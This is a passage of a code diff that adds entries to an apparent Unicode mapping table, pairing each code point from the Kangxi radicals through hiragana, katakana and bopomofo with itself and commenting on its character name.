+ ["\u2F8B", "\u2F8B"], /* KANGXI RADICAL GRASS */
+ ["\u2F8C", "\u2F8C"], /* KANGXI RADICAL TIGER */
+ ["\u2F8D", "\u2F8D"], /* KANGXI RADICAL INSECT */
+ ["\u2F8E", "\u2F8E"], /* KANGXI RADICAL BLOOD */
+ ["\u2F8F", "\u2F8F"], /* KANGXI RADICAL WALK ENCLOSURE */
+ ["\u2F90", "\u2F90"], /* KANGXI RADICAL CLOTHES */
+ ["\u2F91", "\u2F91"], /* KANGXI RADICAL WEST */
+ ["\u2F92", "\u2F92"], /* KANGXI RADICAL SEE */
+ ["\u2F93", "\u2F93"], /* KANGXI RADICAL HORN */
+ ["\u2F94", "\u2F94"], /* KANGXI RADICAL SPEECH */
+ ["\u2F95", "\u2F95"], /* KANGXI RADICAL VALLEY */
+ ["\u2F96", "\u2F96"], /* KANGXI RADICAL BEAN */
+ ["\u2F97", "\u2F97"], /* KANGXI RADICAL PIG */
+ ["\u2F98", "\u2F98"], /* KANGXI RADICAL BADGER */
+ ["\u2F99", "\u2F99"], /* KANGXI RADICAL SHELL */
+ ["\u2F9A", "\u2F9A"], /* KANGXI RADICAL RED */
+ ["\u2F9B", "\u2F9B"], /* KANGXI RADICAL RUN */
+ ["\u2F9C", "\u2F9C"], /* KANGXI RADICAL FOOT */
+ ["\u2F9D", "\u2F9D"], /* KANGXI RADICAL BODY */
+ ["\u2F9E", "\u2F9E"], /* KANGXI RADICAL CART */
+ ["\u2F9F", "\u2F9F"], /* KANGXI RADICAL BITTER */
+ ["\u2FA0", "\u2FA0"], /* KANGXI RADICAL MORNING */
+ ["\u2FA1", "\u2FA1"], /* KANGXI RADICAL WALK */
+ ["\u2FA2", "\u2FA2"], /* KANGXI RADICAL CITY */
+ ["\u2FA3", "\u2FA3"], /* KANGXI RADICAL WINE */
+ ["\u2FA4", "\u2FA4"], /* KANGXI RADICAL DISTINGUISH */
+ ["\u2FA5", "\u2FA5"], /* KANGXI RADICAL VILLAGE */
+ ["\u2FA6", "\u2FA6"], /* KANGXI RADICAL GOLD */
+ ["\u2FA7", "\u2FA7"], /* KANGXI RADICAL LONG */
+ ["\u2FA8", "\u2FA8"], /* KANGXI RADICAL GATE */
+ ["\u2FA9", "\u2FA9"], /* KANGXI RADICAL MOUND */
+ ["\u2FAA", "\u2FAA"], /* KANGXI RADICAL SLAVE */
+ ["\u2FAB", "\u2FAB"], /* KANGXI RADICAL SHORT TAILED BIRD */
+ ["\u2FAC", "\u2FAC"], /* KANGXI RADICAL RAIN */
+ ["\u2FAD", "\u2FAD"], /* KANGXI RADICAL BLUE */
+ ["\u2FAE", "\u2FAE"], /* KANGXI RADICAL WRONG */
+ ["\u2FAF", "\u2FAF"], /* KANGXI RADICAL FACE */
+ ["\u2FB0", "\u2FB0"], /* KANGXI RADICAL LEATHER */
+ ["\u2FB1", "\u2FB1"], /* KANGXI RADICAL TANNED LEATHER */
+ ["\u2FB2", "\u2FB2"], /* KANGXI RADICAL LEEK */
+ ["\u2FB3", "\u2FB3"], /* KANGXI RADICAL SOUND */
+ ["\u2FB4", "\u2FB4"], /* KANGXI RADICAL LEAF */
+ ["\u2FB5", "\u2FB5"], /* KANGXI RADICAL WIND */
+ ["\u2FB6", "\u2FB6"], /* KANGXI RADICAL FLY */
+ ["\u2FB7", "\u2FB7"], /* KANGXI RADICAL EAT */
+ ["\u2FB8", "\u2FB8"], /* KANGXI RADICAL HEAD */
+ ["\u2FB9", "\u2FB9"], /* KANGXI RADICAL FRAGRANT */
+ ["\u2FBA", "\u2FBA"], /* KANGXI RADICAL HORSE */
+ ["\u2FBB", "\u2FBB"], /* KANGXI RADICAL BONE */
+ ["\u2FBC", "\u2FBC"], /* KANGXI RADICAL TALL */
+ ["\u2FBD", "\u2FBD"], /* KANGXI RADICAL HAIR */
+ ["\u2FBE", "\u2FBE"], /* KANGXI RADICAL FIGHT */
+ ["\u2FBF", "\u2FBF"], /* KANGXI RADICAL SACRIFICIAL WINE */
+ ["\u2FC0", "\u2FC0"], /* KANGXI RADICAL CAULDRON */
+ ["\u2FC1", "\u2FC1"], /* KANGXI RADICAL GHOST */
+ ["\u2FC2", "\u2FC2"], /* KANGXI RADICAL FISH */
+ ["\u2FC3", "\u2FC3"], /* KANGXI RADICAL BIRD */
+ ["\u2FC4", "\u2FC4"], /* KANGXI RADICAL SALT */
+ ["\u2FC5", "\u2FC5"], /* KANGXI RADICAL DEER */
+ ["\u2FC6", "\u2FC6"], /* KANGXI RADICAL WHEAT */
+ ["\u2FC7", "\u2FC7"], /* KANGXI RADICAL HEMP */
+ ["\u2FC8", "\u2FC8"], /* KANGXI RADICAL YELLOW */
+ ["\u2FC9", "\u2FC9"], /* KANGXI RADICAL MILLET */
+ ["\u2FCA", "\u2FCA"], /* KANGXI RADICAL BLACK */
+ ["\u2FCB", "\u2FCB"], /* KANGXI RADICAL EMBROIDERY */
+ ["\u2FCC", "\u2FCC"], /* KANGXI RADICAL FROG */
+ ["\u2FCD", "\u2FCD"], /* KANGXI RADICAL TRIPOD */
+ ["\u2FCE", "\u2FCE"], /* KANGXI RADICAL DRUM */
+ ["\u2FCF", "\u2FCF"], /* KANGXI RADICAL RAT */
+ ["\u2FD0", "\u2FD0"], /* KANGXI RADICAL NOSE */
+ ["\u2FD1", "\u2FD1"], /* KANGXI RADICAL EVEN */
+ ["\u2FD2", "\u2FD2"], /* KANGXI RADICAL TOOTH */
+ ["\u2FD3", "\u2FD3"], /* KANGXI RADICAL DRAGON */
+ ["\u2FD4", "\u2FD4"], /* KANGXI RADICAL TURTLE */
+ ["\u2FD5", "\u2FD5"], /* KANGXI RADICAL FLUTE */
+ ["\u2FD6", "\u2FD6"],
+ ["\u2FD7", "\u2FD7"],
+ ["\u2FD8", "\u2FD8"],
+ ["\u2FD9", "\u2FD9"],
+ ["\u2FDA", "\u2FDA"],
+ ["\u2FDB", "\u2FDB"],
+ ["\u2FDC", "\u2FDC"],
+ ["\u2FDD", "\u2FDD"],
+ ["\u2FDE", "\u2FDE"],
+ ["\u2FDF", "\u2FDF"],
+ ["\u2FE0", "\u2FE0"],
+ ["\u2FE1", "\u2FE1"],
+ ["\u2FE2", "\u2FE2"],
+ ["\u2FE3", "\u2FE3"],
+ ["\u2FE4", "\u2FE4"],
+ ["\u2FE5", "\u2FE5"],
+ ["\u2FE6", "\u2FE6"],
+ ["\u2FE7", "\u2FE7"],
+ ["\u2FE8", "\u2FE8"],
+ ["\u2FE9", "\u2FE9"],
+ ["\u2FEA", "\u2FEA"],
+ ["\u2FEB", "\u2FEB"],
+ ["\u2FEC", "\u2FEC"],
+ ["\u2FED", "\u2FED"],
+ ["\u2FEE", "\u2FEE"],
+ ["\u2FEF", "\u2FEF"],
+ ["\u2FF0", "\u2FF0"], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT */
+ ["\u2FF1", "\u2FF1"], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO BELOW */
+ ["\u2FF2", "\u2FF2"], /* IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO MIDDLE AND RIGHT */
+ ["\u2FF3", "\u2FF3"], /* IDEOGRAPHIC DESCRIPTION CHARACTER ABOVE TO MIDDLE AND BELOW */
+ ["\u2FF4", "\u2FF4"], /* IDEOGRAPHIC DESCRIPTION CHARACTER FULL SURROUND */
+ ["\u2FF5", "\u2FF5"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM ABOVE */
+ ["\u2FF6", "\u2FF6"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM BELOW */
+ ["\u2FF7", "\u2FF7"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LEFT */
+ ["\u2FF8", "\u2FF8"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER LEFT */
+ ["\u2FF9", "\u2FF9"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM UPPER RIGHT */
+ ["\u2FFA", "\u2FFA"], /* IDEOGRAPHIC DESCRIPTION CHARACTER SURROUND FROM LOWER LEFT */
+ ["\u2FFB", "\u2FFB"], /* IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID */
+ ["\u2FFC", "\u2FFC"],
+ ["\u2FFD", "\u2FFD"],
+ ["\u2FFE", "\u2FFE"],
+ ["\u2FFF", "\u2FFF"],
+ ["\u3000", "\u3000"], /* IDEOGRAPHIC SPACE */
+ ["\u3001", "\u3001"], /* IDEOGRAPHIC COMMA */
+ ["\u3002", "\u3002"], /* IDEOGRAPHIC FULL STOP (IDEOGRAPHIC PERIOD) */
+ ["\u3003", "\u3003"], /* DITTO MARK */
+ ["\u3004", "\u3004"], /* JAPANESE INDUSTRIAL STANDARD SYMBOL */
+ ["\u3005", "\u3005"], /* IDEOGRAPHIC ITERATION MARK */
+ ["\u3006", "\u3006"], /* IDEOGRAPHIC CLOSING MARK */
+ ["\u3007", "\u3007"], /* IDEOGRAPHIC NUMBER ZERO */
+ ["\u3008", "\u3008"], /* LEFT ANGLE BRACKET (OPENING ANGLE BRACKET) */
+ ["\u3009", "\u3009"], /* RIGHT ANGLE BRACKET (CLOSING ANGLE BRACKET) */
+ ["\u300A", "\u300A"], /* LEFT DOUBLE ANGLE BRACKET (OPENING DOUBLE ANGLE BRACKET) */
+ ["\u300B", "\u300B"], /* RIGHT DOUBLE ANGLE BRACKET (CLOSING DOUBLE ANGLE BRACKET) */
+ ["\u300C", "\u300C"], /* LEFT CORNER BRACKET (OPENING CORNER BRACKET) */
+ ["\u300D", "\u300D"], /* RIGHT CORNER BRACKET (CLOSING CORNER BRACKET) */
+ ["\u300E", "\u300E"], /* LEFT WHITE CORNER BRACKET (OPENING WHITE CORNER BRACKET) */
+ ["\u300F", "\u300F"], /* RIGHT WHITE CORNER BRACKET (CLOSING WHITE CORNER BRACKET) */
+ ["\u3010", "\u3010"], /* LEFT BLACK LENTICULAR BRACKET (OPENING BLACK LENTICULAR BRACKET) */
+ ["\u3011", "\u3011"], /* RIGHT BLACK LENTICULAR BRACKET (CLOSING BLACK LENTICULAR BRACKET) */
+ ["\u3012", "\u3012"], /* POSTAL MARK */
+ ["\u3013", "\u3013"], /* GETA MARK */
+ ["\u3014", "\u3014"], /* LEFT TORTOISE SHELL BRACKET (OPENING TORTOISE SHELL BRACKET) */
+ ["\u3015", "\u3015"], /* RIGHT TORTOISE SHELL BRACKET (CLOSING TORTOISE SHELL BRACKET) */
+ ["\u3016", "\u3016"], /* LEFT WHITE LENTICULAR BRACKET (OPENING WHITE LENTICULAR BRACKET) */
+ ["\u3017", "\u3017"], /* RIGHT WHITE LENTICULAR BRACKET (CLOSING WHITE LENTICULAR BRACKET) */
+ ["\u3018", "\u3018"], /* LEFT WHITE TORTOISE SHELL BRACKET (OPENING WHITE TORTOISE SHELL BRACKET) */
+ ["\u3019", "\u3019"], /* RIGHT WHITE TORTOISE SHELL BRACKET (CLOSING WHITE TORTOISE SHELL BRACKET) */
+ ["\u301A", "\u301A"], /* LEFT WHITE SQUARE BRACKET (OPENING WHITE SQUARE BRACKET) */
+ ["\u301B", "\u301B"], /* RIGHT WHITE SQUARE BRACKET (CLOSING WHITE SQUARE BRACKET) */
+ ["\u301C", "\u301C"], /* WAVE DASH */
+ ["\u301D", "\u301D"], /* REVERSED DOUBLE PRIME QUOTATION MARK */
+ ["\u301E", "\u301E"], /* DOUBLE PRIME QUOTATION MARK */
+ ["\u301F", "\u301F"], /* LOW DOUBLE PRIME QUOTATION MARK */
+ ["\u3020", "\u3020"], /* POSTAL MARK FACE */
+ ["\u3021", "\u3021"], /* HANGZHOU NUMERAL ONE */
+ ["\u3022", "\u3022"], /* HANGZHOU NUMERAL TWO */
+ ["\u3023", "\u3023"], /* HANGZHOU NUMERAL THREE */
+ ["\u3024", "\u3024"], /* HANGZHOU NUMERAL FOUR */
+ ["\u3025", "\u3025"], /* HANGZHOU NUMERAL FIVE */
+ ["\u3026", "\u3026"], /* HANGZHOU NUMERAL SIX */
+ ["\u3027", "\u3027"], /* HANGZHOU NUMERAL SEVEN */
+ ["\u3028", "\u3028"], /* HANGZHOU NUMERAL EIGHT */
+ ["\u3029", "\u3029"], /* HANGZHOU NUMERAL NINE */
+ ["\u302A", "\u302A"], /* IDEOGRAPHIC LEVEL TONE MARK */
+ ["\u302B", "\u302B"], /* IDEOGRAPHIC RISING TONE MARK */
+ ["\u302C", "\u302C"], /* IDEOGRAPHIC DEPARTING TONE MARK */
+ ["\u302D", "\u302D"], /* IDEOGRAPHIC ENTERING TONE MARK */
+ ["\u302E", "\u302E"], /* HANGUL SINGLE DOT TONE MARK */
+ ["\u302F", "\u302F"], /* HANGUL DOUBLE DOT TONE MARK */
+ ["\u3030", "\u3030"], /* WAVY DASH */
+ ["\u3031", "\u3031"], /* VERTICAL KANA REPEAT MARK */
+ ["\u3032", "\u3032"], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK */
+ ["\u3033", "\u3033"], /* VERTICAL KANA REPEAT MARK UPPER HALF */
+ ["\u3034", "\u3034"], /* VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF */
+ ["\u3035", "\u3035"], /* VERTICAL KANA REPEAT MARK LOWER HALF */
+ ["\u3036", "\u3036"], /* CIRCLED POSTAL MARK */
+ ["\u3037", "\u3037"], /* IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL */
+ ["\u3038", "\u3038"], /* HANGZHOU NUMERAL TEN */
+ ["\u3039", "\u3039"], /* HANGZHOU NUMERAL TWENTY */
+ ["\u303A", "\u303A"], /* HANGZHOU NUMERAL THIRTY */
+ ["\u303B", "\u303B"], /* VERTICAL IDEOGRAPHIC ITERATION MARK */
+ ["\u303C", "\u303C"], /* MASU MARK */
+ ["\u303D", "\u303D"], /* PART ALTERNATION MARK */
+ ["\u303E", "\u303E"], /* IDEOGRAPHIC VARIATION INDICATOR */
+ ["\u303F", "\u303F"], /* IDEOGRAPHIC HALF FILL SPACE */
+ ["\u3040", "\u3040"],
+ ["\u3041", "\u3041"], /* HIRAGANA LETTER SMALL A */
+ ["\u3042", "\u3042"], /* HIRAGANA LETTER A */
+ ["\u3043", "\u3043"], /* HIRAGANA LETTER SMALL I */
+ ["\u3044", "\u3044"], /* HIRAGANA LETTER I */
+ ["\u3045", "\u3045"], /* HIRAGANA LETTER SMALL U */
+ ["\u3046", "\u3046"], /* HIRAGANA LETTER U */
+ ["\u3047", "\u3047"], /* HIRAGANA LETTER SMALL E */
+ ["\u3048", "\u3048"], /* HIRAGANA LETTER E */
+ ["\u3049", "\u3049"], /* HIRAGANA LETTER SMALL O */
+ ["\u304A", "\u304A"], /* HIRAGANA LETTER O */
+ ["\u304B", "\u304B"], /* HIRAGANA LETTER KA */
+ ["\u304C", "\u304C"], /* HIRAGANA LETTER GA */
+ ["\u304D", "\u304D"], /* HIRAGANA LETTER KI */
+ ["\u304E", "\u304E"], /* HIRAGANA LETTER GI */
+ ["\u304F", "\u304F"], /* HIRAGANA LETTER KU */
+ ["\u3050", "\u3050"], /* HIRAGANA LETTER GU */
+ ["\u3051", "\u3051"], /* HIRAGANA LETTER KE */
+ ["\u3052", "\u3052"], /* HIRAGANA LETTER GE */
+ ["\u3053", "\u3053"], /* HIRAGANA LETTER KO */
+ ["\u3054", "\u3054"], /* HIRAGANA LETTER GO */
+ ["\u3055", "\u3055"], /* HIRAGANA LETTER SA */
+ ["\u3056", "\u3056"], /* HIRAGANA LETTER ZA */
+ ["\u3057", "\u3057"], /* HIRAGANA LETTER SI */
+ ["\u3058", "\u3058"], /* HIRAGANA LETTER ZI */
+ ["\u3059", "\u3059"], /* HIRAGANA LETTER SU */
+ ["\u305A", "\u305A"], /* HIRAGANA LETTER ZU */
+ ["\u305B", "\u305B"], /* HIRAGANA LETTER SE */
+ ["\u305C", "\u305C"], /* HIRAGANA LETTER ZE */
+ ["\u305D", "\u305D"], /* HIRAGANA LETTER SO */
+ ["\u305E", "\u305E"], /* HIRAGANA LETTER ZO */
+ ["\u305F", "\u305F"], /* HIRAGANA LETTER TA */
+ ["\u3060", "\u3060"], /* HIRAGANA LETTER DA */
+ ["\u3061", "\u3061"], /* HIRAGANA LETTER TI */
+ ["\u3062", "\u3062"], /* HIRAGANA LETTER DI */
+ ["\u3063", "\u3063"], /* HIRAGANA LETTER SMALL TU */
+ ["\u3064", "\u3064"], /* HIRAGANA LETTER TU */
+ ["\u3065", "\u3065"], /* HIRAGANA LETTER DU */
+ ["\u3066", "\u3066"], /* HIRAGANA LETTER TE */
+ ["\u3067", "\u3067"], /* HIRAGANA LETTER DE */
+ ["\u3068", "\u3068"], /* HIRAGANA LETTER TO */
+ ["\u3069", "\u3069"], /* HIRAGANA LETTER DO */
+ ["\u306A", "\u306A"], /* HIRAGANA LETTER NA */
+ ["\u306B", "\u306B"], /* HIRAGANA LETTER NI */
+ ["\u306C", "\u306C"], /* HIRAGANA LETTER NU */
+ ["\u306D", "\u306D"], /* HIRAGANA LETTER NE */
+ ["\u306E", "\u306E"], /* HIRAGANA LETTER NO */
+ ["\u306F", "\u306F"], /* HIRAGANA LETTER HA */
+ ["\u3070", "\u3070"], /* HIRAGANA LETTER BA */
+ ["\u3071", "\u3071"], /* HIRAGANA LETTER PA */
+ ["\u3072", "\u3072"], /* HIRAGANA LETTER HI */
+ ["\u3073", "\u3073"], /* HIRAGANA LETTER BI */
+ ["\u3074", "\u3074"], /* HIRAGANA LETTER PI */
+ ["\u3075", "\u3075"], /* HIRAGANA LETTER HU */
+ ["\u3076", "\u3076"], /* HIRAGANA LETTER BU */
+ ["\u3077", "\u3077"], /* HIRAGANA LETTER PU */
+ ["\u3078", "\u3078"], /* HIRAGANA LETTER HE */
+ ["\u3079", "\u3079"], /* HIRAGANA LETTER BE */
+ ["\u307A", "\u307A"], /* HIRAGANA LETTER PE */
+ ["\u307B", "\u307B"], /* HIRAGANA LETTER HO */
+ ["\u307C", "\u307C"], /* HIRAGANA LETTER BO */
+ ["\u307D", "\u307D"], /* HIRAGANA LETTER PO */
+ ["\u307E", "\u307E"], /* HIRAGANA LETTER MA */
+ ["\u307F", "\u307F"], /* HIRAGANA LETTER MI */
+ ["\u3080", "\u3080"], /* HIRAGANA LETTER MU */
+ ["\u3081", "\u3081"], /* HIRAGANA LETTER ME */
+ ["\u3082", "\u3082"], /* HIRAGANA LETTER MO */
+ ["\u3083", "\u3083"], /* HIRAGANA LETTER SMALL YA */
+ ["\u3084", "\u3084"], /* HIRAGANA LETTER YA */
+ ["\u3085", "\u3085"], /* HIRAGANA LETTER SMALL YU */
+ ["\u3086", "\u3086"], /* HIRAGANA LETTER YU */
+ ["\u3087", "\u3087"], /* HIRAGANA LETTER SMALL YO */
+ ["\u3088", "\u3088"], /* HIRAGANA LETTER YO */
+ ["\u3089", "\u3089"], /* HIRAGANA LETTER RA */
+ ["\u308A", "\u308A"], /* HIRAGANA LETTER RI */
+ ["\u308B", "\u308B"], /* HIRAGANA LETTER RU */
+ ["\u308C", "\u308C"], /* HIRAGANA LETTER RE */
+ ["\u308D", "\u308D"], /* HIRAGANA LETTER RO */
+ ["\u308E", "\u308E"], /* HIRAGANA LETTER SMALL WA */
+ ["\u308F", "\u308F"], /* HIRAGANA LETTER WA */
+ ["\u3090", "\u3090"], /* HIRAGANA LETTER WI */
+ ["\u3091", "\u3091"], /* HIRAGANA LETTER WE */
+ ["\u3092", "\u3092"], /* HIRAGANA LETTER WO */
+ ["\u3093", "\u3093"], /* HIRAGANA LETTER N */
+ ["\u3094", "\u3094"], /* HIRAGANA LETTER VU */
+ ["\u3095", "\u3095"], /* HIRAGANA LETTER SMALL KA */
+ ["\u3096", "\u3096"], /* HIRAGANA LETTER SMALL KE */
+ ["\u3097", "\u3097"],
+ ["\u3098", "\u3098"],
+ ["\u3099", "\u3099"], /* COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA VOICED SOUND MARK) */
+ ["\u309A", "\u309A"], /* COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK (NON-SPACING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK) */
+ ["\u309B", "\u309B"], /* KATAKANA-HIRAGANA VOICED SOUND MARK */
+ ["\u309C", "\u309C"], /* KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK */
+ ["\u309D", "\u309D"], /* HIRAGANA ITERATION MARK */
+ ["\u309E", "\u309E"], /* HIRAGANA VOICED ITERATION MARK */
+ ["\u309F", "\u309F"], /* HIRAGANA DIGRAPH YORI */
+ ["\u30A0", "\u30A0"], /* KATAKANA-HIRAGANA DOUBLE HYPHEN */
+ ["\u30A1", "\u30A1"], /* KATAKANA LETTER SMALL A */
+ ["\u30A2", "\u30A2"], /* KATAKANA LETTER A */
+ ["\u30A3", "\u30A3"], /* KATAKANA LETTER SMALL I */
+ ["\u30A4", "\u30A4"], /* KATAKANA LETTER I */
+ ["\u30A5", "\u30A5"], /* KATAKANA LETTER SMALL U */
+ ["\u30A6", "\u30A6"], /* KATAKANA LETTER U */
+ ["\u30A7", "\u30A7"], /* KATAKANA LETTER SMALL E */
+ ["\u30A8", "\u30A8"], /* KATAKANA LETTER E */
+ ["\u30A9", "\u30A9"], /* KATAKANA LETTER SMALL O */
+ ["\u30AA", "\u30AA"], /* KATAKANA LETTER O */
+ ["\u30AB", "\u30AB"], /* KATAKANA LETTER KA */
+ ["\u30AC", "\u30AC"], /* KATAKANA LETTER GA */
+ ["\u30AD", "\u30AD"], /* KATAKANA LETTER KI */
+ ["\u30AE", "\u30AE"], /* KATAKANA LETTER GI */
+ ["\u30AF", "\u30AF"], /* KATAKANA LETTER KU */
+ ["\u30B0", "\u30B0"], /* KATAKANA LETTER GU */
+ ["\u30B1", "\u30B1"], /* KATAKANA LETTER KE */
+ ["\u30B2", "\u30B2"], /* KATAKANA LETTER GE */
+ ["\u30B3", "\u30B3"], /* KATAKANA LETTER KO */
+ ["\u30B4", "\u30B4"], /* KATAKANA LETTER GO */
+ ["\u30B5", "\u30B5"], /* KATAKANA LETTER SA */
+ ["\u30B6", "\u30B6"], /* KATAKANA LETTER ZA */
+ ["\u30B7", "\u30B7"], /* KATAKANA LETTER SI */
+ ["\u30B8", "\u30B8"], /* KATAKANA LETTER ZI */
+ ["\u30B9", "\u30B9"], /* KATAKANA LETTER SU */
+ ["\u30BA", "\u30BA"], /* KATAKANA LETTER ZU */
+ ["\u30BB", "\u30BB"], /* KATAKANA LETTER SE */
+ ["\u30BC", "\u30BC"], /* KATAKANA LETTER ZE */
+ ["\u30BD", "\u30BD"], /* KATAKANA LETTER SO */
+ ["\u30BE", "\u30BE"], /* KATAKANA LETTER ZO */
+ ["\u30BF", "\u30BF"], /* KATAKANA LETTER TA */
+ ["\u30C0", "\u30C0"], /* KATAKANA LETTER DA */
+ ["\u30C1", "\u30C1"], /* KATAKANA LETTER TI */
+ ["\u30C2", "\u30C2"], /* KATAKANA LETTER DI */
+ ["\u30C3", "\u30C3"], /* KATAKANA LETTER SMALL TU */
+ ["\u30C4", "\u30C4"], /* KATAKANA LETTER TU */
+ ["\u30C5", "\u30C5"], /* KATAKANA LETTER DU */
+ ["\u30C6", "\u30C6"], /* KATAKANA LETTER TE */
+ ["\u30C7", "\u30C7"], /* KATAKANA LETTER DE */
+ ["\u30C8", "\u30C8"], /* KATAKANA LETTER TO */
+ ["\u30C9", "\u30C9"], /* KATAKANA LETTER DO */
+ ["\u30CA", "\u30CA"], /* KATAKANA LETTER NA */
+ ["\u30CB", "\u30CB"], /* KATAKANA LETTER NI */
+ ["\u30CC", "\u30CC"], /* KATAKANA LETTER NU */
+ ["\u30CD", "\u30CD"], /* KATAKANA LETTER NE */
+ ["\u30CE", "\u30CE"], /* KATAKANA LETTER NO */
+ ["\u30CF", "\u30CF"], /* KATAKANA LETTER HA */
+ ["\u30D0", "\u30D0"], /* KATAKANA LETTER BA */
+ ["\u30D1", "\u30D1"], /* KATAKANA LETTER PA */
+ ["\u30D2", "\u30D2"], /* KATAKANA LETTER HI */
+ ["\u30D3", "\u30D3"], /* KATAKANA LETTER BI */
+ ["\u30D4", "\u30D4"], /* KATAKANA LETTER PI */
+ ["\u30D5", "\u30D5"], /* KATAKANA LETTER HU */
+ ["\u30D6", "\u30D6"], /* KATAKANA LETTER BU */
+ ["\u30D7", "\u30D7"], /* KATAKANA LETTER PU */
+ ["\u30D8", "\u30D8"], /* KATAKANA LETTER HE */
+ ["\u30D9", "\u30D9"], /* KATAKANA LETTER BE */
+ ["\u30DA", "\u30DA"], /* KATAKANA LETTER PE */
+ ["\u30DB", "\u30DB"], /* KATAKANA LETTER HO */
+ ["\u30DC", "\u30DC"], /* KATAKANA LETTER BO */
+ ["\u30DD", "\u30DD"], /* KATAKANA LETTER PO */
+ ["\u30DE", "\u30DE"], /* KATAKANA LETTER MA */
+ ["\u30DF", "\u30DF"], /* KATAKANA LETTER MI */
+ ["\u30E0", "\u30E0"], /* KATAKANA LETTER MU */
+ ["\u30E1", "\u30E1"], /* KATAKANA LETTER ME */
+ ["\u30E2", "\u30E2"], /* KATAKANA LETTER MO */
+ ["\u30E3", "\u30E3"], /* KATAKANA LETTER SMALL YA */
+ ["\u30E4", "\u30E4"], /* KATAKANA LETTER YA */
+ ["\u30E5", "\u30E5"], /* KATAKANA LETTER SMALL YU */
+ ["\u30E6", "\u30E6"], /* KATAKANA LETTER YU */
+ ["\u30E7", "\u30E7"], /* KATAKANA LETTER SMALL YO */
+ ["\u30E8", "\u30E8"], /* KATAKANA LETTER YO */
+ ["\u30E9", "\u30E9"], /* KATAKANA LETTER RA */
+ ["\u30EA", "\u30EA"], /* KATAKANA LETTER RI */
+ ["\u30EB", "\u30EB"], /* KATAKANA LETTER RU */
+ ["\u30EC", "\u30EC"], /* KATAKANA LETTER RE */
+ ["\u30ED", "\u30ED"], /* KATAKANA LETTER RO */
+ ["\u30EE", "\u30EE"], /* KATAKANA LETTER SMALL WA */
+ ["\u30EF", "\u30EF"], /* KATAKANA LETTER WA */
+ ["\u30F0", "\u30F0"], /* KATAKANA LETTER WI */
+ ["\u30F1", "\u30F1"], /* KATAKANA LETTER WE */
+ ["\u30F2", "\u30F2"], /* KATAKANA LETTER WO */
+ ["\u30F3", "\u30F3"], /* KATAKANA LETTER N */
+ ["\u30F4", "\u30F4"], /* KATAKANA LETTER VU */
+ ["\u30F5", "\u30F5"], /* KATAKANA LETTER SMALL KA */
+ ["\u30F6", "\u30F6"], /* KATAKANA LETTER SMALL KE */
+ ["\u30F7", "\u30F7"], /* KATAKANA LETTER VA */
+ ["\u30F8", "\u30F8"], /* KATAKANA LETTER VI */
+ ["\u30F9", "\u30F9"], /* KATAKANA LETTER VE */
+ ["\u30FA", "\u30FA"], /* KATAKANA LETTER VO */
+ ["\u30FB", "\u30FB"], /* KATAKANA MIDDLE DOT */
+ ["\u30FC", "\u30FC"], /* KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ ["\u30FD", "\u30FD"], /* KATAKANA ITERATION MARK */
+ ["\u30FE", "\u30FE"], /* KATAKANA VOICED ITERATION MARK */
+ ["\u30FF", "\u30FF"], /* KATAKANA DIGRAPH KOTO */
+ ["\u3100", "\u3100"],
+ ["\u3101", "\u3101"],
+ ["\u3102", "\u3102"],
+ ["\u3103", "\u3103"],
+ ["\u3104", "\u3104"],
+ ["\u3105", "\u3105"], /* BOPOMOFO LETTER B */
+ ["\u3106", "\u3106"], /* BOPOMOFO LETTER P */
+ ["\u3107", "\u3107"], /* BOPOMOFO LETTER M */
+ ["\u3108", "\u3108"], /* BOPOMOFO LETTER F */
+ ["\u3109", "\u3109"], /* BOPOMOFO LETTER D */
+ ["\u310A", "\u310A"], /* BOPOMOFO LETTER T */
+ ["\u310B", "\u310B"], /* BOPOMOFO LETTER N */
+ ["\u310C", "\u310C"], /* BOPOMOFO LETTER L */
+ ["\u310D", "\u310D"], /* BOPOMOFO LETTER G */
+ ["\u310E", "\u310E"], /* BOPOMOFO LETTER K */
+ ["\u310F", "\u310F"], /* BOPOMOFO LETTER H */
+ ["\u3110", "\u3110"], /* BOPOMOFO LETTER J */
+ ["\u3111", "\u3111"], /* BOPOMOFO LETTER Q */
+ ["\u3112", "\u3112"], /* BOPOMOFO LETTER X */
+ ["\u3113", "\u3113"], /* BOPOMOFO LETTER ZH */
+ ["\u3114", "\u3114"], /* BOPOMOFO LETTER CH */
+ ["\u3115", "\u3115"], /* BOPOMOFO LETTER SH */
+ ["\u3116", "\u3116"], /* BOPOMOFO LETTER R */
+ ["\u3117", "\u3117"], /* BOPOMOFO LETTER Z */
+ ["\u3118", "\u3118"], /* BOPOMOFO LETTER C */
+ ["\u3119", "\u3119"], /* BOPOMOFO LETTER S */
+ ["\u311A", "\u311A"], /* BOPOMOFO LETTER A */
+ ["\u311B", "\u311B"], /* BOPOMOFO LETTER O */
+ ["\u311C", "\u311C"], /* BOPOMOFO LETTER E */
+ ["\u311D", "\u311D"], /* BOPOMOFO LETTER EH */
+ ["\u311E", "\u311E"], /* BOPOMOFO LETTER AI */
+ ["\u311F", "\u311F"], /* BOPOMOFO LETTER EI */
+ ["\u3120", "\u3120"], /* BOPOMOFO LETTER AU */
+ ["\u3121", "\u3121"], /* BOPOMOFO LETTER OU */
+ ["\u3122", "\u3122"], /* BOPOMOFO LETTER AN */
+ ["\u3123", "\u3123"], /* BOPOMOFO LETTER EN */
+ ["\u3124", "\u3124"], /* BOPOMOFO LETTER ANG */
+ ["\u3125", "\u3125"], /* BOPOMOFO LETTER ENG */
+ ["\u3126", "\u3126"], /* BOPOMOFO LETTER ER */
